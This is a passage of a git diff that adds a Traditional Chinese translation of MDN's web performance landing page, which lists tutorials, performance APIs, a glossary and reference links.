+ <dd>WebExtensions is a cross-browser system for developing browser add-ons. To a large extent the system is compatible with the <a class="external-icon external" href="https://developer.chrome.com/extensions">extension API</a> supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a> with <a href="https://developer.mozilla.org/zh-TW/Add-ons/WebExtensions/Porting_from_Google_Chrome">just a few changes</a>. The API is also fully compatible with <a href="https://developer.mozilla.org/zh-TW/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/zh-tw/web/性能/index.html b/files/zh-tw/web/性能/index.html
new file mode 100644
index 0000000000..9c868ed393
--- /dev/null
+++ b/files/zh-tw/web/性能/index.html
@@ -0,0 +1,481 @@
+---
+title: 網路性能
+slug: Web/性能
+tags:
+  - API
+  - HTML
+  - Mobile Performance
+  - Performance
+translation_of: Web/Performance
+---
+<p>Web性能是負載時間和運行時的客觀度量和用戶體驗。Web性能是指站點加載、交互和回應所需的時間，以及用戶交互過程中內容的流暢程度——滾動是否流暢?按鈕可點擊嗎?彈出窗口加載和顯示的速度是否很快?它們的動畫是否流暢?Web性能包括加載時間、每秒幀數和交互時間等客觀度量，以及加載內容所需時間的主觀體驗。</p>
+
+<p>一個站點的回應時間越長，就會有越多的用戶放棄這個站點。重要的是最小化加載和回應時間，並添加額外的特性來隱藏延遲，使體驗盡可能快地可用並具有交互性，同時非同步地加載體驗的較長尾部分。</p>
+
+
+
+
+
+
+
+<p>有一些工具、api和最佳實踐可以幫助我們度量和改進web性能。我們將在本節介紹它們:</p>
+
+<h2 id="在這一節中">在這一節中</h2>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="選定的教程">選定的教程</h2>
+
+<p>MDN網路性能學習領域包含現代的、最新的教程，涵蓋性能要點:</p>
+
+
+
+
+
+
+
+<p>什麼是網路性能</p>
+
+
+
+<p>本文首先介紹了性能實際上是什麼—包括在考慮性能時需要考慮的工具、指標、api、網路和人員組，以及如何將性能作為web開發工作流的一部分。</p>
+
+
+
+<p>網路性能基本知識</p>
+
+
+
+<p>除了HTML、CSS、JavaScript和媒體檔的前端組件外，還有一些特性可以使應用程式變慢，也有一些特性可以使應用程式主觀上和客觀上變得更快。與web性能相關的api、開發工具、最佳實踐和不良實踐有很多。在這裏，我們將介紹許多基本級別的特性，並提供到更深層次的鏈接，以提高每個主題的性能。</p>
+
+
+
+<p>用戶如何看待性能?</p>
+
+
+
+<p>比你的網站在幾毫秒內有多快更重要的是你的用戶認為你的網站有多快。頁面加載時間、空閒時間、對用戶交互的回應以及滾動和其他動畫的流暢性都會影響這些感知。在本文中，我們將討論各種加載指標、動畫和回應性指標，以及改進用戶感知的最佳實踐(如果不是實際計時本身)。</p>
+
+
+
+
+
+
+
+<p>多媒體:圖像和視頻</p>
+
+
+
+<p>通常，媒體優化是web性能的最低掛果。根據每個用戶代理的功能、大小和像素密度提供不同的媒體檔是可能的。額外的技巧，比如從背景圖像中刪除音軌，可以進一步提高性能。在本文中，我們將討論視頻、音頻和圖像內容對性能的影響，以及確保影響盡可能小的方法。</p>
+
+
+
+<p>CSS性能特性</p>
+
+
+
+<p>對於改進性能，CSS可能不是很重要的優化重點，但是有一些CSS特性對性能的影響更大。在本文中，我們將介紹一些影響性能的CSS屬性，並介紹一些處理樣式的方法，以確保不會對性能造成負面影響。</p>
+
+<dl>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">使用性能api</h2>
+
+<dl>
+ <dt>
+ <p>性能的API</p>
+
+
+
+ <p>本指南描述了如何使用高解析度時間標準中定義的性能介面。</p>
+
+
+
+ <p>資源時機API</p>
+
+
+
+ <p>資源加載和這些資源的加載計時，包括管理資源緩衝區和處理CORS</p>
+
+
+
+ <p>表演時間</p>
+
+
+
+ <p>性能時間軸標準定義了對性能介面的擴展，以支持應用程式中的客戶端延遲測量。這些介面可以一起用來幫助確定應用程式的性能瓶頸。</p>
+
+
+
+ <p>用戶時間API</p>
+
+
+
+ <p>使用用戶計時API的“標記”和“度量”條目類型來創建特定於應用程式的時間戳——這是流覽器性能時間表的一部分。</p>
+
+
+
+ <p>幀定時API</p>
+
+
+
+ <p>PerformanceFrameTiming介面提供有關流覽器事件迴圈的幀計時數據。</p>
+
+
+
+ <p>燈塔API</p>
+
+
+
+ <p>信標介面將非同步和非阻塞請求調度到web伺服器。</p>
+
+
+
+ <p>十字路口觀察者API</p>
+
+
+
+ <p>學習使用交集觀察者API對元素的可見性進行計時，並在感興趣的元素變得可見時得到非同步通知。</p>
+ </dt>
+</dl>
+
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">其他文檔</h2>
+
+<dl>
+ <dt>
+ <p>開發工具性能特性</p>
+
+
+
+ <p>本節提供有關如何使用和理解開發人員工具(包括瀑布圖、調用樹圖和火焰圖)中的性能特性的資訊。</p>
+
+
+
+ <p>理解延遲</p>
+
+
+
+ <p>延遲是指從流覽器請求資源到流覽器返回請求的資源的第一個位元組之間所花費的時間。本文將解釋延遲是什麼、它如何影響性能、如何度量延遲以及如何減少延遲。</p>
+ </dt>
+</dl>
+</div>
+</div>
+
+<h2 id="術語表">術語表</h2>
+
+<div class="index">
+<ul class="index">
+ <li>{{glossary('Beacon')}}</li>
+ <li>{{glossary('Brotli compression')}}</li>
+ <li>{{glossary('Client hints')}}</li>
+ <li>{{glossary('Code splitting')}}</li>
+ <li>{{glossary('CSSOM')}}</li>
+ <li>{{glossary('Domain sharding')}}</li>
+ <li>{{glossary('Effective connection type')}}</li>
+ <li>{{glossary('First contentful paint')}}</li>
+ <li>{{glossary('First CPU idle')}}</li>
+ <li>{{glossary('First input delay')}}</li>
+ <li>{{glossary('First interactive')}}</li>
+ <li>{{glossary('First meaningful paint')}}</li>
+ <li>{{glossary('First paint')}}</li>
+ <li>{{glossary('HTTP')}}</li>
+ <li>{{glossary('HTTP_2', 'HTTP/2')}}</li>
+ <li>{{glossary('Jank')}}</li>
+ <li>{{glossary('Latency')}}</li>
+ <li>{{glossary('Lazy load')}}</li>
+ <li>{{glossary('Long task')}}</li>
+ <li>{{glossary('Lossless compression')}}</li>
+ <li>{{glossary('Lossy compression')}}</li>
+ <li>{{glossary('Main thread')}}</li>
+ <li>{{glossary('Minification')}}</li>
+ <li>{{glossary('Network throttling')}}</li>
+ <li>{{glossary('Packet')}}</li>
+ <li>{{glossary('Page load time')}}</li>
+ <li>{{glossary('Page prediction')}}</li>
+ <li>{{glossary('Parse')}}</li>
+ <li>{{glossary('Perceived performance')}}</li>
+ <li>{{glossary('Prefetch')}}</li>
+ <li>{{glossary('Prerender')}}</li>
+ <li>{{glossary('QUIC')}}</li>
+ <li>{{glossary('RAIL')}}</li>
+ <li>{{glossary('Real User Monitoring')}}</li>
+ <li>{{glossary('Resource Timing')}}</li>
+ <li>{{glossary('Round Trip Time (RTT)')}}</li>
+ <li>{{glossary('Server Timing')}}</li>
+ <li>{{glossary('Speculative parsing')}}</li>
+ <li>{{glossary('Speed index')}}</li>
+ <li>{{glossary('SSL')}}</li>
+ <li>{{glossary('Synthetic monitoring')}}</li>
+ <li>{{glossary('TCP handshake')}}</li>
+ <li>{{glossary('TCP slow start')}}</li>
+ <li>{{glossary('Time to first byte')}}</li>
+ <li>{{glossary('Time to interactive')}}</li>
+ <li>{{glossary('TLS')}}</li>
+ <li>{{glossary('TCP', 'Transmission Control Protocol (TCP)')}}</li>
+ <li>{{glossary('Tree shaking')}}</li>
+ <li>{{glossary('Web performance')}}</li>
+</ul>
+</div>
+
+<h2 id="檔有待書寫">檔有待書寫</h2>
+
+<dl>
+ <dt>
+ <p>JavaScript性能最佳實踐</p>
+
+
+
+ <p>如果使用得當，JavaScript可以提供互動式的、沉浸式的web體驗……或者它會嚴重影響下載時間、渲染時間、應用程式性能、電池壽命和用戶體驗。本文概述了一些JavaScript最佳實踐，這些實踐可以確保即使是複雜內容的性能也是最高的。</p>
+
+
+
+ <p>手機的性能</p>
+
+
+
+ <p>隨著移動設備上的web訪問變得如此流行，所有的移動平臺都有成熟的web流覽器，但是帶寬、CPU和電池壽命可能有限，因此考慮在這些平臺上web內容的性能非常重要。本文還討論了特定於移動設備的性能注意事項。</p>
+ </dt>
+ <dt>
+ <p>性能瓶頸</p>
+
+
+
+
+
+
+
+ <p>理解帶寬</p>
+
+
+
+ <p>帶寬是每秒可以發送的以兆(Mb)或千比特(Kb)為單位的數據量。本文解釋了帶寬在富媒體internet應用程式中的作用，如何度量它，以及如何優化應用程式以最大限度地利用可用帶寬。</p>
+
+
+
+ <p>HTTP / 2和你</p>
+
+
+
+ <p>傳輸層(即HTTP)對web的功能至關重要，直到最近才以HTTP/2的形式出現重大更新。與它的前輩相比，HTTP/2提供了許多開箱即用的性能改進和優勢，但它也改變了環境。在本文中，您將瞭解HTTP/2為您做了什麼，以及如何對應用程式進行調優，使其更進一步。</p>
+
+
+
+
+
+
+
+ <p>TLS在性能中的作用</p>
+
+
+
+ <p>在創建安全的用戶體驗時，tlls(我們傾向於稱之為HTTPS)是至關重要的。雖然硬體已經減少了TLS對伺服器性能的負面影響，但它仍然占了我們等待流覽器連接到伺服器所用時間的很大一部分。本文解釋了TLS握手過程，並提供了一些減少這種時間的技巧，如OCSP裝訂、HSTS預加載頭，以及資源提示在掩蓋第三方TLS延遲方面的潛在作用。</p>
+
+
+
+
+
+
+
+ <p>讀性能圖表</p>
+
+
+
+ <p>開發人員工具提供有關性能、記憶體和網路請求的資訊。瞭解如何在流覽器開發人員工具中讀取瀑布圖、調用樹、跟蹤、火焰圖和分配，將有助於您在其他性能工具中理解瀑布圖和火焰圖。</p>
+
+
+
+ <p>分析JavaScript包</p>
+
+
+
+ <p>毫無疑問，JavaScript是現代web開發的重要組成部分。雖然您應該始終努力減少應用程式中使用的JavaScript的數量，但是很難知道從哪里開始。在本指南中，我們將向您展示如何分析應用程式的腳本包，以便您瞭解自己在使用什麼，以及如何檢測應用程式是否包含包之間的重複腳本。</p>
+
+
+
+ <p>延遲加載</p>
+
+
+
+ <p>在初始頁面加載時加載所有web應用程式資產並不總是必要的。延遲加載是將頁面上的資產(如腳本、圖像等)的加載延遲到以後的某個時間點。當這些資產確實需要的時候。</p>
+ </dt>
+ <dt>
+ <p>使用import()延遲加載JavaScript</p>
+
+
+
+ <p>術語“延遲加載”通常指加載時不需要的資產的延遲加載技術，例如僅在圖像滾動到視圖中時才加載折疊下麵的圖像。現在有了加載JavaScript的本地特性!在本指南中，我們將討論dynamic import()語句，這是一個較新的流覽器特性，可以根據需要加載JavaScript模組。</p>
+
+
+
+ <p>使用資源提示控制資源交付</p>
+
+
+
+ <p>當涉及到資源優先順序和交付時，流覽器通常比我們更清楚，但是他們離clairyovant還很遠。本地流覽器特性使我們能夠在流覽器連接到另一個伺服器時提示它，或者在流覽器知道它需要資源之前預加載資源。如果使用得當，這可以讓快速體驗看起來更快。在本文中，我們將介紹一些本地流覽器特性，如rel=preconnect、rel=dn -prefetch、rel=prefetch和rel=preload，以及如何充分利用它們。</p>
+
+
+
+ <p>績效預算</p>
+
+
+
+ <p>市場行銷、設計和銷售需求，以及開發人員的經驗，通常是廣告膨脹、第三方腳本和其他會降低web性能的特性。為了幫助設置優先順序，最好設置一個性能預算:一組在開發階段不能超過的限制。在本文中，我們將討論如何創建和堅持性能預算。</p>
+
+
+
+ <p>網路性能檢查表</p>
+
+
+
+ <p>在開發帶有如何實現每個特性的教程鏈接的應用程式時，需要考慮的特性性能檢查表，包括服務人員、診斷性能問題、字體加載最佳實踐、客戶端提示、創建性能動畫等。</p>
+
+
+
+ <p>手機性能檢查表</p>
+
+
+
+ <p>影響移動網路用戶在手持電池操作設備上的性能考慮的簡明清單。</p>
+ </dt>
+</dl>
+
+<h3 id="應用程式的性能">應用程式的性能</h3>
+
+<dl>
+ <dt>
+ <p>性能的基礎</p>
+
+
+
+ <p>對Web應用程式性能的廣泛概述，它是什麼，流覽器如何幫助改進它，以及您可以使用什麼工具和流程來測試和進一步改進它。</p>
+
+
+
+ <p>優化啟動性能</p>
+
+
+
+ <p>在編寫新應用程式和將應用程式從其他平臺移植到Web上時，幫助您提高啟動性能的技巧和建議。</p>
+
+
+
+ <p>使用內置的剖析器進行剖析</p>
+
+
+
+ <p>瞭解如何使用Firefox的內置分析器分析應用程式性能。</p>
+
+
+
+ <p>CSS和JavaScript動畫性能</p>
+
+
+
+ <p>動畫是一個愉快的用戶體驗的關鍵。本文討論了CSS和基於javascript的動畫之間的性能差異</p>
+ </dt>
+ <dd>. </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Performance">View all articles about performance...</a></span></p>
+
+<h2 id="See_also">See also</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">The <code>&lt;picture&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The <code>&lt;video&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">The <code>&lt;source&gt;</code> Element</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">The <code>&lt;img&gt; srcset</code> attribute</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Preloading content with <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Measuring layout</li>
+ <li>Font-loading best practices</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Garbage collection</a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Performance_API">Performance API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Capabilities_API/Using_the_Media_Capabilities_API">Media Capabilities API</a></li>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceNavigationTiming">PerformanceNavigationTiming</a></li>
+ <li><a href="/en-US/docs/Web/API/Battery_Status_API">Battery Status API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/deviceMemory">Navigator.deviceMemory</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer</a></li>
+ <li><a href="/en-US/docs/Web/API/User_Timing_API/Using_the_User_Timing_API">Using the User Timing AP</a>I</li>
+ <li><a href="/en-US/docs/Web/API/Long_Tasks_API">Long Tasks API</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMHighResTimeStamp">High Resolution Timing API</a> (<a href="https://w3c.github.io/hr-time/">https://w3c.github.io/hr-time/)</a></li>
+ <li><a href="/en-US/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API">Resource Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Page_Visibility_API">Page Visibility</a></li>
+ <li><a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>
+  <ul>
+   <li style="margin-top: 0.25em;"><a href="/en-US/docs/Web/API/Window/requestIdleCallback">requestIdleCallback() </a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/API/Beacon_API/Using_the_Beacon_API">Beacon API</a></li>
+ <li>Resource Hints - <a href="/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control">dns-prefetch</a>, preconnect, <a href="/en-US/docs/Web/HTTP/Link_prefetching_FAQ">prefetch</a>, and prerender</li>
+ <li><a href="/en-US/docs/Web/API/FetchEvent/navigationPreload">Fetchevent.navigationPreload</a></li>
+ <li><a href="/en-US/docs/Web/API/PerformanceServerTiming">Performance Server Timing API</a></li>
+</ul>
+
+<p>Headers</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-encoding</a></li>
+ <li>HTTP/2</li>
+ <li><a href="/en-US/docs/Glossary/GZip_compression">gZip</a></li>
+ <li>Client Hints</li>
+</ul>
+
+<p>Tools</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Performance">Performance in Firefox Developer Tools</a></li>
+ <li>Flame charts</li>
+ <li>The Network panel</li>
+ <li>Waterfall charts</li>
+</ul>
+
+<p>Additional Metrics</p>
+
+<ul>
+ <li>Speed Index and Perceptual Speed Index</li>
+</ul>
+
+<p>Best Practices</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a>
+  <ul>
+   <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Apps/Progressive/Offline_Service_workers">PWA</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></li>
+ <li>Content Delivery Networks (CDN)</li>
+</ul>